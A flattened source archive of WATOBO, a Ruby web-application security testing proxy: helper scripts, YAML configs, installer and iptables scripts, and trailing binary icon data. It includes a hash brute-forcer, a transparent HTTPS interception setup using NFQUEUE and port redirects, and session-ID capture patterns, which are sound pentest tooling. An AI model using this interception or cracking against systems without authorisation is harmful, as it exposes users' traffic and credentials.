"+ starting an ssl request to #{uri.host}:#{uri.port} ..." req_opts = { use_ssl: true, verify_mode: OpenSSL::SSL::VERIFY_NONE, cert: new_cert, key: keypair } begin https = Net::HTTP.start(uri.host, uri.port, req_opts) response = https.request Net::HTTP::Get.new uri.path puts '--- R E S P O N S E ---' puts "#{response.code} #{response.msg}" response.each_header do |k,v| puts "#{k}: #{v}" end puts response.body rescue OpenSSL::SSL::SSLError => e puts "\n!!!\n--- SSL Error (which is probably a good sign ;) ---" puts e rescue => bang puts "--- F A I L U R E ---" puts bang binding.pry end endwatobo-1.0.1/bin/create_cert.rb000077500000000000000000000006351366346341400164020ustar00rootroot00000000000000#!/usr/bin/ruby if $0 == __FILE__ inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) $: << inc_path end require 'watobo' cert = { :hostname => 'localhost', :type => 'server', :user => 'watobo', :email => 'root@localhost', } cert_file, key_file = Watobo::CA.create_cert cert puts cert_file puts key_filewatobo-1.0.1/bin/create_curl.rb000066400000000000000000000016071366346341400164070ustar00rootroot00000000000000#!/usr/bin/ruby if $0 == __FILE__ inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) $: << inc_path end require 'optimist' require 'pry' OPTS = Optimist::options do version "#{$0} 1.0 (c) 2019 siberas" opt :project, "Projectname", :type => :string opt :session, "Sessionname", :type => :string opt :chatid, "ChatId", :type => :string end Optimist.die :project, "Need project name" unless OPTS[:project] Optimist.die :session, "Need session name" unless OPTS[:session] Optimist.die :chatid, "Need the chatid" unless OPTS[:chatid] require 'watobo' puts Watobo::Conf::General.workspace_path ds = Watobo::DataStore.connect(OPTS[:project], OPTS[:session]) request = nil ds.each_chat do |c| next unless c.id == OPTS[:chatid].to_i request = c.request break end raise "chatid not found" if request.nil? cr = Watobo::Utils::Curl.create_request(request) puts cr watobo-1.0.1/bin/create_db_from_swagger.rb000066400000000000000000000011131366346341400205610ustar00rootroot00000000000000inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) $: << inc_path require 'swagger' input = ARGV[0] files = [input] if File.directory?(input) # files = Dir.glob("#{input}/*.(yaml|json)") files = Dir.glob("#{input}/*.json") files.concat Dir.glob("#{input}/*.yaml") end paths = [] files.each do |f| puts 'Processing: ' + f begin api = Swagger.load f api.operations.each do |o| url = URI.parse "http://#{o.signature.gsub(/^.* /, '').gsub(/[\{\}]/, '')}" paths << url.path end rescue => bang puts bang end end puts pathswatobo-1.0.1/bin/create_file_db.rb000066400000000000000000000021441366346341400170230ustar00rootroot00000000000000#!/usr/bin/ruby # creates a db file for filefinder plugin # it searches the given path for xml files containing action path definitions, e.g. struts inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) $: << inc_path require 'optimist' require 'watobo' OPTS = Optimist::options do version "#{$0} 1.0 (c) 2019 siberas" opt :dirname, "Name of directory", :type => :string opt :output, "Output file", :type => :string, :default => '' end Optimist.die :dirname, "Need a directory name" unless OPTS[:dirname] extensions = %w( do jsp go ) folder = OPTS[:dirname] out_file = OPTS[:output] action_paths = [] Dir.glob("#{folder}/*.xml").each do |file| doc = Nokogiri::XML(File.read(file)) actions = doc.css("//action") actions.each do |action| extensions.each do |ext| action_paths << (action[:path].gsub(/^\//, '') + ".#{ext}") end end end unless out_file.empty? action_paths.uniq! File.open(out_file, "w") do |fh| fh.puts action_paths end puts "+ written #{action_paths.length} entries to #{out_file}" else puts "+ Found #{action_paths.length} entries" end watobo-1.0.1/bin/hash_forcer.rb000077500000000000000000000156041366346341400164070ustar00rootroot00000000000000#!/usr/bin/ruby require 'yaml' require 'cgi' require 'uri' require 'digest' =begin LINKS * http://blog.nathanielbibler.com/post/63031273/openssl-hmac-vs-ruby-hmac-benchmarks =end =begin EXAMPLE 1 URL: http://www.somewhe.re/aaa?hash=RJ7zik4RVAtHYyC3iLAWdHbHqBs(1&ff=img&ref=74589002 JSESSIONID = 457B2B6F9D75344B6C9EA4DB69B76D73 => hash_forcer.rb -m "RJ7zik4RVAtHYyC3iLAWdHbHqBs=" -s "457B2B6F9D75344B6C9EA4DB69B76D73" -p "457B2B6F9D75344B6C9EA4DB69B76D73" "ff=img&ref=74589002" =end =begin EXAMPLE 2 >hash_forcer.rb -m "nP01Y4W/v8+aNU7cApnbZA==" test oans zwoa drei gsuffa --- FS: ["", ":", "-", "|", "+", "="] Normalize Match String ... Input: nP01Y4W/v8+aNU7cApnbZA== Norma: nP01Y4W/v8+aNU7cApnbZA== INPUT: test, oans, zwoa, drei, gsuffa NUM COMBINATIONS: 30 Perform Permutations ... [16602] gsuffadreizwoaoans NUM PERMUTATIONS: 2640 Trying ... [007] test:drei GOTCHA! [MD5] - ["test", "drei"] F:\Projects\watobo\tools> =end if $0 == __FILE__ begin require 'devenv' rescue LoadError inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) $: << inc_path end end require 'optparse' $fs = %w( : - | + = :: || ? ! ?? !!) $fs.unshift '' $match = nil $suffixes = $prefixes = [] opts = OptionParser.new do |o| o.banner = "Usage: #{File.basename($0)} [OPTIONS] INPUT" o.separator "" o.separator "OPTIONS" o.on("-v", "--verbose", "detailed output.") do |v| $VERBOSE = v end o.on("-t", "--type TYPE", "Input TYPE, e.g. HTTP_REQUEST") do |v| $type = v end o.on("-h", "--hash HASH", "HASH Type, e.g. HMAC-MD5, SHA-1") do |v| $hash_type = v end o.on("-k", "--key KEY1,..,KEYn", Array, "Hashing Keys if neccessary, like HMAC-MD5") do |v| $keys = v end o.on("-f", "--fs fs1,..,fsn", Array, "FieldSeparators, used when joining values [#{$fs.join(',')}]") do |v| $fs = v end o.on("-s", "--suffixes s1,..,sn", Array, "Suffixes will be appended before calculation") do |v| $suffixes = v end o.on("-p", "--prefixes p1,..,pn", Array, "Prefixes will be prepended before calculation") do |v| $suffixes = v end o.on("-m", "--match MATCH", "Value to match against") do |v| $match = v end o.on("--help", "help") do puts opts end end puts puts "---" opts.parse!(ARGV) require 'digest' require 'digest/sha2' require 'digest/sha1' require 'digest/md5' require 'digest/rmd160' require 'base64' $total = 0 puts "FS: #{$fs}" puts "Normalize Match String ..." puts "Input: " + $match $match_dec64 = Base64.decode64 $match $nrm = Base64.strict_encode64 $match_dec64 puts "Norma: " + $nrm if $match != $nrm puts puts "WARNING: Normalized Match String Differs!" end puts $match = $nrm def match(data) hashes = {} hexhashes = {} #puts $fs.each do |f| data_str = data.join(f) # puts data_str $total += 1 if data_str.length >= 40 out_str = data_str[0..39] else out_str = data_str + " " * (40 - data_str.length) end #printf "\r[%.03d] %s", ( ($total * 100)/ $num_permutations), "#{data_str[0..40]}" + " "*(40-data_str.length) printf "\r[%03d] %s", (($total * 100) / $num_permutations), out_str Digest.constants.each do |digest| next if digest =~ /(instance|class|Base|require)/i puts "Digest::#{digest.to_s}.digest(#{data_str})" hash = eval("Digest::#{digest.to_s}.digest(data_str)") hexhash = eval("Digest::#{digest.to_s}.digest(data_str)") #puts digest.to_s + " : " + hash.length.to_s hashes[digest.to_sym] = hash hexhashes[digest.to_sym] = hexhash end hexhashes.each do |m, h| if h == $match.strip puts puts "GOTCHA! [#{m}] - #{data}" exit end end hashes.each do |m, h| b64 = Base64.strict_encode64(h) # puts "* [#{m}] #{b64}" if b64.strip == $match.strip puts puts "GOTCHA! [#{m}] - #{data}" exit end end end end def check_suffixed(input) $fs.each do |fs| base = input.join(fs) $suffixes.each do |suf| data = "#{base}" data << fs data << suf match data end end end def check_prefixed(input) $fs.each do |fs| base = input.join(fs) $prefixes.each do |pref| data = [pref] data << fs data << "#{base}" match data end end end def check_counter(input) $fs.each do |fs| base = input.join(fs) max_count = 1000 max_count.times do |i| data = "%0.#{max_count.to_s.length}i" % i data << fs data << "#{base}" match data end max_count.times do |i| data = "#{base}" data << fs data << "%0.#{max_count.to_s.length}i" % i match data end end end def check_all(data) # print "." match data check_suffixed data check_prefixed data end input = ARGV[0] check_values = [] input_values = [] if ARGV.length >= 1 ARGV.each do |v| input_values << v end end puts "INPUT: " + input_values.join(", ") value_sets = [] if input_values.length > 1 (input_values.length - 1).times do |i| input_values.repeated_combination(i + 1).each do |combi| # we don't want double entries value_sets << combi if combi.length == combi.uniq.length end end elsif input_values.length > 0 value_sets << input_values else exit end value_sets.uniq! puts puts "NUM SETS: #{value_sets.length}" puts value_sets.to_yaml if $VERBOSE puts x = value_sets.inject(0) { |s, combo| s + combo.permutation.to_a.length ** 4 } $num_permutations = x * ($fs.length + 4) puts "EST.NUM. PERMUTATIONS: #{$num_permutations}" puts puts "Trying ..." value_sets.each do |combo| combo.permutation do |p| #puts "\n(#{p.class}) #{p}" # #printf "\r[%d] %s", check_values.length, p.join.slice(0,50) check_all p upcased = p.map { |v| v.upcase } check_all upcased #check_values.concat upcased[0..-2].product(p[1..-1]) upcased.product(p).to_a.uniq.map { |v| check_all v } downcased = p.map { |v| v.downcase } check_all downcased ##check_values.concat downcased[0..-2].product(p[1..-1]) downcased.product(p).to_a.uniq.map { |v| check_all v } uri_escaped = p.map { |v| CGI.escape(v).gsub("+", "%20") } check_all uri_escaped #check_values.concat uri_escaped[0..-2].product(p[1..-1]) uri_escaped.product(p).to_a.uniq.map { |v| check_all v } #uri_unescaped = p.map{|v| URI.decode_www_form_component(v) } #check_all uri_unescaped #check_values.concat uri_unescaped[0..-2].product(p[1..-1]) #uri_unescaped.product(p).to_a.uniq.map{|v| check_all v } cgi_escaped = p.map { |v| CGI.escape(v) } check_all cgi_escaped #check_values.concat cgi_escaped[0..-2].product(p[1..-1]) cgi_escaped.product(p).to_a.uniq.map { |v| check_all v } cgi_unescaped = p.map { |v| CGI.unescape(v) } check_all cgi_unescaped #check_values.concat cgi_unescaped[0..-2].product(p[1..-1]) cgi_unescaped.product(p).to_a.uniq.map { |v| check_all v } end end puts puts "Total Checks: #{$total}" watobo-1.0.1/bin/list_parameters.rb000077500000000000000000000017331366346341400173200ustar00rootroot00000000000000#!/usr/bin/ruby if $0 == __FILE__ inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) $: << inc_path end require 'trollop' OPTS=Trollop::options do version "#{$0} 0.1 (c) 2014 siberas" opt :project, "Projectname", :type => :string opt :session, "Sessionname", :type => :string opt :url, "URL pattern", :type => :string, :default => "*" end Trollop.die :project, "Need project name" unless OPTS[:project] Trollop.die :session, "Need session name" unless OPTS[:session] require 'watobo' puts Watobo::Conf::General.workspace_path ds = Watobo::DataStore.connect(OPTS[:project], OPTS[:session]) #puts ds.num_findings puts "* searching for parameters in #{ds.num_chats} chats ..." pnames = [] ds.each_chat do |c| next unless c.request.site =~ /#{OPTS[:url]}/ c.request.parameters(:url, :data, :wwwform).each do |p| #pnames << "#{p.name} - #{p.location} - #{c.request.path}" pnames << "#{p.name} - #{p.location}" end end puts pnames.uniq watobo-1.0.1/bin/nfq_server.rb000077500000000000000000000101561366346341400162730ustar00rootroot00000000000000#!/usr/bin/ruby require 'drb' require 'yaml' require 'openssl' begin require "nfqueue" @nfq_present = true rescue LoadError puts "NFQUEUE not available on this system" exit end # @private module Watobo#:nodoc: all module NFQ class Connections attr :nfqueue def add_ssl_request(c_host, c_port, s_host, s_port) ck = "#{c_host}:#{c_port}" sk = "#{s_host}:#{s_port}" begin unless @cert_list.has_key? sk if cert = acquire_cert(s_host,s_port) @connections[ck] = sk @cert_list[sk] = cert else return false end else @connections[ck] = sk end return true rescue => bang puts bang puts bang.backtrace end return false end def to_yaml @connections.to_yaml end def info(data) begin ck = "#{data['host']}:#{data['port']}" target_site = '' cert_cn = '' @netqueue_lock.synchronize do if @connections.has_key? ck target_site = @connections[ck] if @cert_list.has_key? target_site cert = @cert_list[target_site] cert_cn = cert.subject.to_s.gsub(/.*=/,"") end end end r = { 'target' => target_site, 'cn' => cert_cn} return r rescue => bang puts bang puts bang.backtrace end return {} end def initialize @connections = Hash.new @cert_list = Hash.new @netqueue_lock = Mutex.new @dh_key = OpenSSL::PKey::DH.new(512) @nfqueue = start end def acquire_cert(host, port) begin tcp_socket = TCPSocket.new( host, port ) tcp_socket.setsockopt( Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) tcp_socket.sync = true ctx = OpenSSL::SSL::SSLContext.new() ctx.tmp_dh_callback = proc { |*args| @dh_key } socket = OpenSSL::SSL::SSLSocket.new(tcp_socket, ctx) socket.connect #socket.setsockopt( Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) sk = "#{host}:#{port}" cert = socket.peer_cert @netqueue_lock.synchronize do @cert_list[sk] = cert end # puts cert.subject.methods.sort return cert rescue => bang puts bang puts bang.backtrace if $DEBUG end return nil end def start puts "starting netfilter_queue ..." t = Thread.new{ begin Netfilter::Queue.create(0) do |p| # puts ">> Netfilter Packet #" + p.id.to_s # $stdout.flush # puts p.data.class raw_src = p.data[12..15] raw_dst = p.data[16..19] src_port = p.data[20..21].unpack("H4")[0].hex dst_port = p.data[22..24].unpack("H4")[0].hex # if p.data.length > 47 # flags = p.data[47].unpack("H*")[0].hex # puts flags.to_s # if flags == 2 # puts "ADD SSL REQUEST" puts "NFQ >> #{get_ip_string(raw_src)}:#{src_port} -> #{get_ip_string(raw_dst)}:#{dst_port}" add_ssl_request(get_ip_string(raw_src), src_port, get_ip_string(raw_dst), dst_port) Netfilter::Packet::ACCEPT end rescue => bang puts bang puts bang.backtrace # retry rescue Netfilter::QueueError puts "NetfilterERROR" exit end } t end private def get_ip_string(raw_addr) begin ip = "" raw_addr.length.times do |i| ip << "." unless ip.empty? ip << raw_addr[i].ord.to_s end rescue => bang puts bang puts bang.backtrace end ip end end end end DRb.start_service "druby://127.0.0.1:9090", Watobo::NFQ::Connections.new #puts DRb.uri DRb.thread.join watobo-1.0.1/bin/plugin-tester.rb000066400000000000000000000005271366346341400167210ustar00rootroot00000000000000inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) $: << inc_path require 'fox16' include Fox require 'watobo' require 'watobo/plugin_loader' $plugin_filter = ARGV[0] ? ARGV[0] : '' module Watobo module Gui PluginLoader.new $plugin_filter application.create application.run end end watobo-1.0.1/bin/search_scanlog.rb000077500000000000000000000014541366346341400170750ustar00rootroot00000000000000#!/usr/bin/ruby if $0 == __FILE__ inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) $: << inc_path end require 'optimist' OPTS=Optimist::options do version "#{$0} 0.1 (c) 2014 siberas" opt :project, "Projectname", :type => :string opt :session, "Sessionname", :type => :string opt :logname, "Logname", :type => :string opt :url, "URL pattern", :type => :string, :default => "*" end Optimist.die :project, "Need project name" unless OPTS[:project] Optimist.die :session, "Need session name" unless OPTS[:session] Optimist.die :logname, "Need session name" unless OPTS[:logname] require 'watobo' puts Watobo::Conf::General.workspace_path ds = Watobo::DataStore.connect(OPTS[:project], OPTS[:session]) puts "\nScanList:" puts ds.list_scans watobo-1.0.1/bin/watobo000077500000000000000000000005301366346341400150050ustar00rootroot00000000000000#!/bin/ruby # this is just a little wrapper to start watobo with another command than watobo_gui.rb if $0 == __FILE__ inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) # this is the same as rubygems would do $: << inc_path end path = File.dirname(File.expand_path(__FILE__)) require File.join(path, "watobo_gui") watobo-1.0.1/bin/watobo_gui.rb000077500000000000000000000010571366346341400162600ustar00rootroot00000000000000#!/usr/bin/ruby if $0 == __FILE__ inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) # this is the same as rubygems would do $: << inc_path end puts "#############################################################" puts puts " W A T O B O - THE Web Application Toolbox" puts " brought to you by siberas http://www.siberas.de" puts puts "#############################################################" require 'pry' require 'watobo' require 'watobo/gui' puts Watobo::Gui.info puts ">> Starting GUI ..." Watobo::Gui.start watobo-1.0.1/config/000077500000000000000000000000001366346341400142635ustar00rootroot00000000000000watobo-1.0.1/config/datastore.yml000066400000000000000000000001651366346341400167760ustar00rootroot00000000000000:adapter: :file :findings: findings :conversations: conversations :event_logs_dir: logs :scan_logs_dir: scan_logswatobo-1.0.1/config/forwarding_proxy.yml000066400000000000000000000000001366346341400203770ustar00rootroot00000000000000watobo-1.0.1/config/general.yml000066400000000000000000000001711366346341400164220ustar00rootroot00000000000000:workspace_name: "workspace" :project_settings_file_ext: .wps :session_settings_file_ext: .wss :watobo_folder: ".watobo" watobo-1.0.1/config/gui.yml000066400000000000000000000004431366346341400155730ustar00rootroot00000000000000:history_file: "history.yml" :save_passwords: false :save_without_master: false :fext_img: - jpg - gif - bmp - ico - png - jpeg :fext_docs: - ppt - doc - xls - pptx - docx - xlsx - pdf :fext_javascript: - js - json :fext_style: - css watobo-1.0.1/config/interceptor.yml000066400000000000000000000004161366346341400173450ustar00rootroot00000000000000:pass_through: :content_types: - application\/audio - application\/video - application\/image - application\/pdf - application\/.*flash - application\/octet-stream - image\/ :content_length: 100000 :port: 8081 :proxy_mode: 1 :bind_addr: "127.0.0.1" watobo-1.0.1/config/ott_cache.yml000066400000000000000000000001601366346341400167340ustar00rootroot00000000000000:patterns: - name="(token)" value="([0-9a-zA-Z!-]*)" - (token)=([-0-9a-zA-Z_:]*)(;|&)? :request_ids: {} watobo-1.0.1/config/scan_policy.yml000066400000000000000000000012471366346341400173150ustar00rootroot00000000000000default: Watobo::Modules::Active::Xss::Xss_simple: true Watobo::Modules::Active::Sap::Its_service_parameter: false Watobo::Modules::Active::Sqlinjection::Sql_numerical: false Watobo::Modules::Active::Discovery::Http_methods: false Watobo::Modules::Active::Sap::Its_xss: false Watobo::Modules::Active::Sqlinjection::Sqli_simple: true Watobo::Modules::Active::Sap::Its_services: false Watobo::Modules::Active::Sap::Its_commands: false Watobo::Modules::Active::Domino::Domino_db: false Watobo::Modules::Active::Directories::Dir_indexing: false Watobo::Modules::Active::Sqlinjection::Sql_boolean: true :default_policy: defaultwatobo-1.0.1/config/scanner.yml000066400000000000000000000005641366346341400164440ustar00rootroot00000000000000:logout_signatures: - ^Location.*login :smart_scan: true :ignore_server_errors: true :custom_error_patterns: [] :excluded_chats: [] :max_parallel_checks: 15 :excluded_parms: - __VIEWSTATE - __EVENTVALIDATION :non_unique_parms: [] :smart_scan: true :www_auth: {} :scope: {} :run_passive_checks: false :client_certificates: {} :auto_login: true watobo-1.0.1/config/scope.yml000066400000000000000000000000001366346341400161050ustar00rootroot00000000000000watobo-1.0.1/config/sid_cache.yml000066400000000000000000000010011366346341400167000ustar00rootroot00000000000000:patterns: - name="(sessid)" value="([0-9a-zA-Z!-]*)" - (sessid)=([-0-9a-zA-Z_:]*)(;|&)? - (SESSIONID)=([-0-9a-zA-Z_:\.\(\)]*)(;|&)? - (PHPSESSID)=([0-9a-zA-Z]*)(;|&)? - (ASPSESSIONID)\w*=([0-9a-zA-Z]*)(;|&)? - (MYSAPSSO2)=([0-9a-zA-Z.=%]*)(;|&)? - (ELEXIRSID)=([0-9a-zA-Z!-]*)(;|&)? - (SLSID)=([0-9a-zA-Z!-]*)(;|&)? - (sid)=([0-9a-z]*)(')? - (saplb_\*)=([-0-9a-zA-Z_:\(\)]*)(;|&)? - (DomAuthSessId)=([0-9a-zA-Z]*)(;|&)? - (wgate)\/([\w]{4,}\/[\w=~]*)(;|&|'|")? - (session)=([-0-9a-zA-Z_:\.]*)(;|&)?watobo-1.0.1/custom-views/000077500000000000000000000000001366346341400154635ustar00rootroot00000000000000watobo-1.0.1/custom-views/fints-simple.rb000066400000000000000000000006201366346341400204200ustar00rootroot00000000000000lambda {|response| h = response.body.to_s r = Base64.decode64(h) pos = 0 pretty = '' while pos >= 0 and pos < r.length seg_end = r.index(/[^?]'/, pos) if seg_end pretty << r[pos..seg_end + 1] pretty << "\n" else break end pos = seg_end + 2 end pretty << "\n\nPasteable\n\n" pretty << Base64.strict_encode64(r) pretty } watobo-1.0.1/custom-views/prettify-json.rb000077500000000000000000000003061366346341400206270ustar00rootroot00000000000000lambda{|response| begin jb = JSON.parse(response.body.to_s) out = JSON.pretty_generate jb rescue => bang out = "Could not prettify response :(\n\n" out << bang.to_s end out }watobo-1.0.1/dev/000077500000000000000000000000001366346341400135745ustar00rootroot00000000000000watobo-1.0.1/dev/plugin_loader.rb000066400000000000000000000021721366346341400167470ustar00rootroot00000000000000inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) $: << inc_path %w( load_icons gui_utils load_plugins session_history save_default_settings master_password session_history save_project_settings save_proxy_settings ).each do |l| f = File.join("watobo", "gui", "utils", l) #puts ">> Loading #{f}" require f end require 'watobo/gui/utils/init_icons' require 'watobo/gui/mixins/events' require 'watobo/gui/mixins/gui_settings' require 'pry' gui_path = File.expand_path(File.join(Watobo.plugin_path, "..", "lib", "watobo", "gui")) Dir.glob("#{gui_path}/*.rb").each do |cf| next if File.basename(cf) == 'main_window.rb' # skip main_window here, because it must be loaded last f = File.join("watobo", "gui", File.basename(cf)) # puts "Loading >> #{f}" require f end #puts "Loading plugin templates ..." require 'watobo/gui/templates/plugin' require 'watobo/gui/templates/plugin2' require 'watobo/gui/templates/plugin_base' require 'watobo/gui/plugin_board' require 'watobo/gui/utils/load_plugins' require File.join(File.dirname(__FILE__), 'plugin_loader', 'gui','main') watobo-1.0.1/dev/plugin_loader/000077500000000000000000000000001366346341400164205ustar00rootroot00000000000000watobo-1.0.1/dev/plugin_loader/gui/000077500000000000000000000000001366346341400172045ustar00rootroot00000000000000watobo-1.0.1/dev/plugin_loader/gui/main.rb000066400000000000000000000014661366346341400204640ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui @application = FXApp.new('Watobo', 'Plugin Loader') def self.application @application end class PluginLoader < FXMainWindow def initialize(filter) super(Watobo::Gui.application, "Plugin Tester", :width => 800, :height => 600) # load all plugins Watobo::Gui::Utils.load_plugins("DUMMY", filter) @frame = FXVerticalFrame.new(self, LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_GROOVE) @plugin_board = Watobo::Gui::PluginBoard.new(@frame) end # Create and show the main window def create super # Create the windows show(PLACEMENT_SCREEN) # Make the main window appear @plugin_board.updateBoard end end end end watobo-1.0.1/extras/000077500000000000000000000000001366346341400143245ustar00rootroot00000000000000watobo-1.0.1/extras/private-hostspot.sh000077500000000000000000000005421366346341400202170ustar00rootroot00000000000000#!/bin/bash iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -t mangle -F iptables -t mangle -X iptables -P INPUT ACCEPT iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT echo "Turning on Natting" iptables -t nat -A POSTROUTING -o eno16777736 -j MASQUERADE echo "Allowing ip forwarding" echo 1 > /proc/sys/net/ipv4/ip_forward watobo-1.0.1/extras/watobo-installer.sh000066400000000000000000000030261366346341400201470ustar00rootroot00000000000000#!/bin/bash #=========================== # WATOBO-Installer for Linux #--------------------------- # Tested on BackTrack 5R2 #=========================== # Date: 06.08.2012 # Author: Andreas Schmidt Version=1.1 #--- # Version 1.1 # added libnetfilter-queue-dev package & gem # added platform detection #--- info() { printf "\033[36m$*\033[0m\n" } head() { printf "\033[31m$*\033[0m\n" } head "##############################################" head "# W A T O B O - I N S T A L L E R #" head "##############################################" info "Version: $Version" gem_opts="" platform="Generic" file=/etc/issue if grep -q "BackTrack" $file then platform="BackTrack" gem_opts="--user-install" fi info "Platform: $platform" if [ "$platform" == "BackTrack" ] then echo "Adding /root/.gem/ruby/1.9.2/bin/ to your PATH .." echo 'export PATH=$PATH:/root/.gem/ruby/1.9.2/bin' >> /root/.bashrc export PATH=$PATH:/root/.gem/ruby/1.9.2/bin #. /root/.bashrc fi echo "Installing required gems ..." for G in ffi multi_json childprocess selenium-webdriver mechanize fxruby net-http-digest_auth net-http-persistent nokogiri domain_name unf webrobots ntlm-http net-http-pipeline nfqueue watobo do info ">> $G" gem install $gem_opts $G done echo "Install libnetfilter for transparent proxy mode" apt-get install libnetfilter-queue-dev info "Installation finished." echo "Open a new shell and type watobo_gui.rb to start WATOBO." echo "For manuals/videos and general information about WATOBO please check:" echo "* http://watobo.sourceforge.net/" watobo-1.0.1/extras/watobo-transparent.sh000077500000000000000000000021221366346341400205120ustar00rootroot00000000000000#!/bin/bash # configure your interfaces here INT_IN=wlx28107b494758 INT_OUT=eno16777736 echo "= Interface Configuration =" echo "Incoming Interface: $INT_IN" echo "Outgoing Interface: $INT_OUT" echo "Resetting IPTables ..." iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -t mangle -F iptables -t mangle -X iptables -P INPUT ACCEPT iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT #echo "Restarting DHCP ..." #/etc/init.d/dhcp3-server restart #echo "Restarting DNS ..." #/etc/init.d/bind9 restart echo "Restarting DNSMASQ ..." /etc/init.d/dnsmasq restart echo "Enable IP Forwarding ..." echo 1 > /proc/sys/net/ipv4/ip_forward echo "Send Packets To NFQUEUE ..." iptables -t mangle -A PREROUTING -p tcp -m state --dport 443 --state NEW -j NFQUEUE --queue-num 0 echo "Redirect Traffic to WATOBO ..." iptables -t nat -A PREROUTING -i $INT_IN -p tcp -m tcp -j REDIRECT --dport 443 --to-ports 8081 iptables -t nat -A PREROUTING -i $INT_IN -p tcp -m tcp -j REDIRECT --dport 80 --to-ports 8081 echo "Turn on Natting ..." iptables -t nat -A POSTROUTING -o $INT_OUT -j MASQUERADE watobo-1.0.1/icons/000077500000000000000000000000001366346341400141315ustar00rootroot00000000000000watobo-1.0.1/icons/Add.ico000066400000000000000000000102761366346341400153230ustar00rootroot00000000000000  ( @ 222222222222222222222222222(222-222-222-222-222(222222222222222222222222222222222222222222222j? wB wB wB wB wB wBj?222222222222222222222222222222222222222222( yD\ffff\ yD222(222222222222222222222222222222222222222- |GKҲGЮGЮGЮGЮKҲ |G222-222222222222222222222222222222222222222- KMҴIаIаIаIаMҴ K222-222222222222222222222222222222222222222- NOԷKҳKҳKҳKҳOԷ N222-222222222222222222222222222(222-222-222-222O RQֹMԶMԶMԶMԶQֹ R222O222-222-222-222(222222222zO V V V V V V[OֹOֹOֹOֹ[ V V V V V VzO222222( Zgppppf\Q׼Q׼Q׼Q׼\fppppg Z222(222-_XTٿTٿTٿTٿTٿTٿTٿTٿTٿTٿTٿTٿTٿTٿTٿTٿX_222-222-cZVVVVVVVVVVVVVVVVZc222-222-g`]]]]]]]]]]]]]]]]`g222-222-la________________al222-222(pv````vp222(222httttttsbbbbstttttth222222222222(222-222-222-222Oxfccccfx222O222-222-222-222(222222222222gggg222-{fddddf{222-gggg222222222222gggg222-hffffh222-gggg222222222222gggg222-hffffh222-gggg222222222222gggg222(222(gggg222222222222222222222222222 w w222222222222222222222222222222222222222222222222(222-222-222-222-222(222222222222222222222222watobo-1.0.1/icons/Add_24x24.ico000066400000000000000000000046361366346341400161710ustar00rootroot00000000000000 (0   6$_'m\VV\_'m6$<,\XӸYгYгXӸ\<,83cWLعLعWc83EQJG72eTIѱIѱTe72GJQE=)F&,>3:22ZaXMԶMԶXa2Z:2>3F&,=)v=m p.y,w,o7]NֹNֹ]7,o,w.y pv=m|>W۾vppeWR׽R׽WeppvW۾|>|@K׳XRٿRٿSUUUUSRٿRٿXK׳|@FO޾^WXZ\^^\ZXW^O޾FRkh^^hkRZm+@?>KĜu``uKĜ>?@+ZmA0K(,A3@2 DZ#qccq# DZ@2A3K(,A0 mم|F#2&ȕrddr&ȕF#2|مm L(3(Μ}pp}(Μ L(3 V3,)Н)Н V3,F6omnhhnomF6watobo-1.0.1/icons/Bandwidth.ico000066400000000000000000000102761366346341400165370ustar00rootroot00000000000000  ( @ Q*Q*dddUUU@@@ffffffUUUUUUUUUfffUUUdddddddddQ*fffMMM [[[ZZZUUUYYYUUURRRXXXUUUUUUUUUXXXXXXUUUQQQZZZUUUUUU IIIUUUddddddmmmUUUUUU!WWW/WWW8YYYWWW&UUUUUUdddmmmUUUUUU!T1X/RáqwRX/T2WWW&UUU]]] @@@dddfffT-l>ȣs˿ʻʺʽžok=S-IIIUUUdddddddddV,yFѧml|aybydydybz_§uDV,dddddddddX-q?תlͿжƎboEte}yx||}}}~}}~{{|yxxxmybʪn=X-ddddddY.-a4ۨfҵ[qYyus||}zz{vttvgz̤n`4Y.-dddddd[.ЎS۱yƻnWttt}}~}}~||}~~||}}}~{{|rrsue…M[.ddd]/f5kصͿpXmmnzz{yyzxxyxxyzz{wwxmmnt`ɸȬc3]/_0x͇MuԳx~i^qqruuvsstsstsstsstwwwmmnzkcoô€I_0xa1ڟ]yѧqx^bbbvvvnnnooowwwzzzooopppqqqbbbt\Ƹ͖Xa1c2hyȖ^jUaabqqqiijjjkoop*Kfsmmniijiijrrs]]^iZĮʷ֧fc2e3nk‹Ny]H^^_llmddeeefffg,LdpVVW___bbcppqXXYwbV˽ۯhe3h4oѠƜqw`Qgggzzz{{{|||~~~F]Zepppwwxdddq_Tá̪lh4j5lӢǥ|{bRZZZuuuvvvwwxxxxxxxxxxxxxxxxkp6V]fuuu~~~ZZZw\GɡsѠkj5l6ߪcΜʰhTLLMyyzvvwqqrrrssstttuttuttuttusstekF\wwxrrsOOPbFٶՠcl6n7xєUşcB@>ggg}}}ooonnnnnnooopppoooooonnnmmmssszzzcccB@?yMҠԙ֘Wn7xp8!x@ȬƱnYIKKKjjjvvvnnniiijjjjjjjjjjjjhhhrrrzzzddeMMNlU?ǡqޯώ|Bp8!dddp9̣ok\MDUUUbbbtttpppjjjhhhhhhlllrrrppp^^^VVWYJ<Qԡުmr9ddddddt:7z@ÛbYLBIIIXXXeeennnqqqqqqkkkaaaWWWIIITH>>///\L?zNÑ֕Zu:u:u:ddddddv;ӞhѮpWeRBMB7=61=61LA7dRCoVyΛݦmw;w;w;ddddddy;x;і^Ѧй~|swƲͯݰ؛ay;y;y;y;ddddddz<̈́HݷܳڴڮޫІIz<z<z<dddddddddddddddddd{=3{=чKw͟